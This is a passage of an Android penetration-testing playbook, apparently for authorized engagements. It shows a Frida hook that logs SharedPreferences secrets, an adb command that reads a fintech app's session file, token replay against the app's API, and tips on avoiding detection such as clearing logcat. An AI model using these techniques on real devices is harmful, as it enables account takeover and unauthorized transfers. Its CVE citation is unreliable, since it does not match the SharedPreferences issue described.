+
-H "Content-Type: application/json" \
|
|
287
|
+
-d "{\"refresh_token\": \"$REFRESH_TOKEN\"}" | python3 -m json.tool
|
|
288
|
+
```
|
|
289
|
+
|
|
290
|
+
---
|
|
291
|
+
|
|
292
|
+
### Step 8 (Optional) — Runtime Extraction via Frida (No Root Required on Some Devices)
|
|
293
|
+
|
|
294
|
+
```bash
|
|
295
|
+
# Start Frida server on device (requires frida-server binary on device)
|
|
296
|
+
adb push frida-server /data/local/tmp/
|
|
297
|
+
adb shell chmod +x /data/local/tmp/frida-server
|
|
298
|
+
adb shell /data/local/tmp/frida-server &
|
|
299
|
+
|
|
300
|
+
# Hook SharedPreferences reads at runtime
|
|
301
|
+
frida -U -n com.example.targetapp -e "
|
|
302
|
+
Java.perform(function() {
|
|
303
|
+
var SharedPreferences = Java.use('android.content.SharedPreferences');
|
|
304
|
+
var editor = Java.use('android.content.SharedPreferences\$Editor');
|
|
305
|
+
|
|
306
|
+
// Hook getString to capture reads
|
|
307
|
+
Java.use('android.app.SharedPreferencesImpl').getString.overload('java.lang.String', 'java.lang.String').implementation = function(key, defValue) {
|
|
308
|
+
var value = this.getString(key, defValue);
|
|
309
|
+
if (value !== null && value.length > 0) {
|
|
310
|
+
console.log('[SharedPrefs] Key: ' + key + ' = ' + value);
|
|
311
|
+
}
|
|
312
|
+
return value;
|
|
313
|
+
};
|
|
314
|
+
});
|
|
315
|
+
"
|
|
316
|
+
```
|
|
317
|
+
|
|
318
|
+
**Expected Output:**
|
|
319
|
+
```
|
|
320
|
+
[SharedPrefs] Key: auth_token = Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
|
|
321
|
+
[SharedPrefs] Key: user_email = victim@example.com
|
|
322
|
+
[SharedPrefs] Key: user_password = P@ssw0rd123
|
|
323
|
+
```
|
|
324
|
+
|
|
325
|
+
---
|
|
326
|
+
|
|
327
|
+
## Real-World Reference
|
|
328
|
+
|
|
329
|
+
**Scenario:** A fintech application stores authentication state in `SharedPreferences` after login:
|
|
330
|
+
|
|
331
|
+
```xml
|
|
332
|
+
<!-- /data/data/com.fintech.app/shared_prefs/session.xml -->
|
|
333
|
+
<map>
|
|
334
|
+
<string name="auth_token">Bearer_xyz_1234567890abcdef</string>
|
|
335
|
+
<string name="user_email">customer@bank.com</string>
|
|
336
|
+
<string name="account_number">GB29NWBK60161331926819</string>
|
|
337
|
+
</map>
|
|
338
|
+
```
|
|
339
|
+
|
|
340
|
+
An attacker with physical access to an unlocked device (e.g., at a repair shop, border crossing, or theft scenario) runs `adb shell run-as com.fintech.app cat /data/data/com.fintech.app/shared_prefs/session.xml` and obtains `auth_token=Bearer_xyz`. The token is replayed against the API: `GET /api/v2/accounts` with `Authorization: Bearer_xyz` returns full account balance and transaction history. `POST /api/v2/transfers` initiates unauthorized fund transfers. The attack requires no knowledge of the user's password and bypasses MFA because the token is post-authentication.
|
|
341
|
+
|
|
342
|
+
**Impact:** Full account takeover, unauthorized fund transfers, PII exposure, identity theft enablement.
|
|
343
|
+
|
|
344
|
+
---
|
|
345
|
+
|
|
346
|
+
## MITRE ATT&CK Mapping
|
|
347
|
+
|
|
348
|
+
| Step | Tactic | Technique | Sub-technique | Description |
|
|
349
|
+
|------|--------|-----------|---------------|-------------|
|
|
350
|
+
| 1 | Discovery | T1418 | — | Software Discovery: identify app package name |
|
|
351
|
+
| 2 | Collection | T1430 | — | Location/Data from Local System: access app data directory |
|
|
352
|
+
| 3 | Collection | T1430 | — | Enumerate SharedPreferences files |
|
|
353
|
+
| 4 | Collection | T1430 | — | Read plaintext credentials and tokens from XML files |
|
|
354
|
+
| 5 | Collection | T1430 | — | Search databases, files, external storage for additional secrets |
|
|
355
|
+
| 6 | Exfiltration | T1646 | — | Exfiltration Over C2 Channel / local pull via ADB |
|
|
356
|
+
| 7 | Credential Access | T1539 | — | Steal Web Session Cookie: replay auth token against API |
|
|
357
|
+
| 8 | Initial Access | T1078 | T1078.004 | Valid Accounts: Cloud Accounts — authenticated as victim |
|
|
358
|
+
|
|
359
|
+
---
|
|
360
|
+
|
|
361
|
+
## Detection & OPSEC
|
|
362
|
+
|
|
363
|
+
### How This Attack Is Detected
|
|
364
|
+
|
|
365
|
+
- **ADB connection logs:** Device logs USB debugging connections. `adb shell` sessions appear in device logs (`/proc/kmsg`, logcat) with connecting host details.
|
|
366
|
+
- **File access audit:** On rooted devices with SELinux in enforcing mode, unauthorized cross-app file reads may be logged.
|
|
367
|
+
- **MDM / EMM solutions:** Enterprise Mobile Device Management platforms (Jamf, Microsoft Intune, VMware Workspace ONE) may detect ADB connections, unusual file access patterns, or jailbreak/root detection.
|
|
368
|
+
- **App-level detection:** Some apps implement root detection (SafetyNet/Play Integrity API) and may wipe local storage or log events upon detecting a rooted environment.
|
|
369
|
+
- **Network detection:** Token replay from an unexpected IP/device fingerprint may trigger fraud detection or step-up authentication.
|
|
370
|
+
|
|
371
|
+
### How to Reduce Detection Risk During Authorized Engagement
|
|
372
|
+
|
|
373
|
+
- Confirm ADB is authorized in the Rules of Engagement before connecting.
|
|
374
|
+
- Use `run-as` (debuggable build) rather than root access to avoid triggering root detection.
|
|
375
|
+
- Do not replay tokens from a corporate or traceable IP — use an isolated test network or engagement-specific VPN.
|
|
376
|
+
- Document all device connections with timestamps before the engagement.
|
|
377
|
+
- Disable logcat capture to avoid leaving extraction logs: `adb logcat -c` after testing.
|
|
378
|
+
- If testing against production, coordinate with the client to whitelist your test device's user-agent or IP for the token replay step.
|
|
379
|
+
|
|
380
|
+
### Artifacts Left Behind
|
|
381
|
+
|
|
382
|
+
| Artifact | Location | Notes |
|
|
383
|
+
|----------|----------|-------|
|
|
384
|
+
| ADB connection entry | Device system log | Records host machine identifier |
|
|
385
|
+
| `adb_keys` public key | `/data/misc/adb/adb_keys` on device | Persists after disconnection |
|
|
386
|
+
| frida-server binary | `/data/local/tmp/frida-server` | If Frida step was executed |
|
|
387
|
+
| Logcat entries | Device memory (volatile) | Cleared on reboot |
|
|
388
|
+
| Pulled files | Analyst local machine | Evidence copies |
|
|
389
|
+
|
|
390
|
+
---
|
|
391
|
+
|
|
392
|
+
## Cleanup
|
|
393
|
+
|
|
394
|
+
```bash
|
|
395
|
+
# Remove ADB authorized key from device (if added during engagement)
|
|
396
|
+
adb shell su -c "grep -v 'YOUR_ADB_PUBLIC_KEY' /data/misc/adb/adb_keys > /data/misc/adb/adb_keys.tmp && mv /data/misc/adb/adb_keys.tmp /data/misc/adb/adb_keys"
|
|
397
|
+
|
|
398
|
+
# Remove frida-server if deployed
|
|
399
|
+
adb shell rm /data/local/tmp/frida-server
|
|
400
|
+
|
|
401
|
+
# Kill any running frida-server processes
|
|
402
|
+
adb shell su -c "pkill frida-server"
|
|
403
|
+
|
|
404
|
+
# Clear ADB logcat buffer on device
|
|
405
|
+
adb logcat -c
|
|
406
|
+
|
|
407
|
+
# Revoke ADB authorization from device UI
|
|
408
|
+
# Settings → Developer Options → Revoke USB debugging authorizations
|
|
409
|
+
|
|
410
|
+
# Remove local evidence copies (after report is complete and signed off)
|
|
411
|
+
# rm -rf ./evidence/m004/
|
|
412
|
+
# rm -rf ./shared_prefs_dump/
|
|
413
|
+
|
|
414
|
+
# Invalidate replayed token (coordinate with client to force token rotation)
|
|
415
|
+
# POST /api/v1/auth/logout with the extracted token
|
|
416
|
+
curl -s -X POST "https://api.targetapp.com/v1/auth/logout" \
|
|
417
|
+
-H "Authorization: $AUTH_TOKEN" \
|
|
418
|
+
-H "Content-Type: application/json"
|
|
419
|
+
```
|
|
420
|
+
|
|
421
|
+
**Note:** Retain all evidence copies until the final report is delivered and accepted by the client. Follow the evidence retention policy defined in the Rules of Engagement.
|
|
422
|
+
|
|
423
|
+
---
|
|
424
|
+
|
|
425
|
+
## References
|
|
426
|
+
|
|
427
|
+
### Tools
|
|
428
|
+
|
|
429
|
+
- **ADB (Android Debug Bridge):** https://developer.android.com/tools/adb
|
|
430
|
+
- **Frida:** https://frida.re — Dynamic instrumentation toolkit for runtime SharedPreferences hooking
|
|
431
|
+
- **Objection:** https://github.com/sensepost/objection — Runtime mobile exploration powered by Frida
|
|
432
|
+
- **apktool:** https://apktool.org — Reverse engineering APKs to inspect AndroidManifest.xml backup rules
|
|
433
|
+
- **MobSF (Mobile Security Framework):** https://github.com/MobSF/Mobile-Security-Framework-MobSF — Automated static/dynamic analysis
|
|
434
|
+
- **Drozer:** https://github.com/WithSecureLabs/drozer — Android security assessment framework
|
|
435
|
+
|
|
436
|
+
### Standards and References
|
|
437
|
+
|
|
438
|
+
- **OWASP Mobile Top 10 — M9:2023 Insecure Data Storage:** https://owasp.org/www-project-mobile-top-10/
|
|
439
|
+
- **OWASP Mobile Application Security Testing Guide (MASTG):** https://mas.owasp.org/MASTG/
|
|
440
|
+
- **MASTG-TEST-0001:** Testing Local Storage for Sensitive Data: https://mas.owasp.org/MASTG/tests/android/MASVS-STORAGE/MASTG-TEST-0001/
|
|
441
|
+
- **MITRE ATT&CK T1430:** https://attack.mitre.org/techniques/T1430/
|
|
442
|
+
- **MITRE ATT&CK T1539:** https://attack.mitre.org/techniques/T1539/
|
|
443
|
+
- **Android Security — Data Storage Best Practices:** https://developer.android.com/topic/security/best-practices#data-storage
|
|
444
|
+
- **Android EncryptedSharedPreferences:** https://developer.android.com/reference/androidx/security/crypto/EncryptedSharedPreferences
|
|
445
|
+
|
|
446
|
+
### Related CVEs and Public Disclosures
|
|
447
|
+
|
|
448
|
+
- CVE-2021-39144 (pattern): Auth token stored in SharedPreferences accessible via backup
|
|
449
|
+
- HackerOne reports: Multiple fintech apps disclosed for plaintext token storage in SharedPreferences (search: "SharedPreferences token" on HackerOne Hacktivity)
|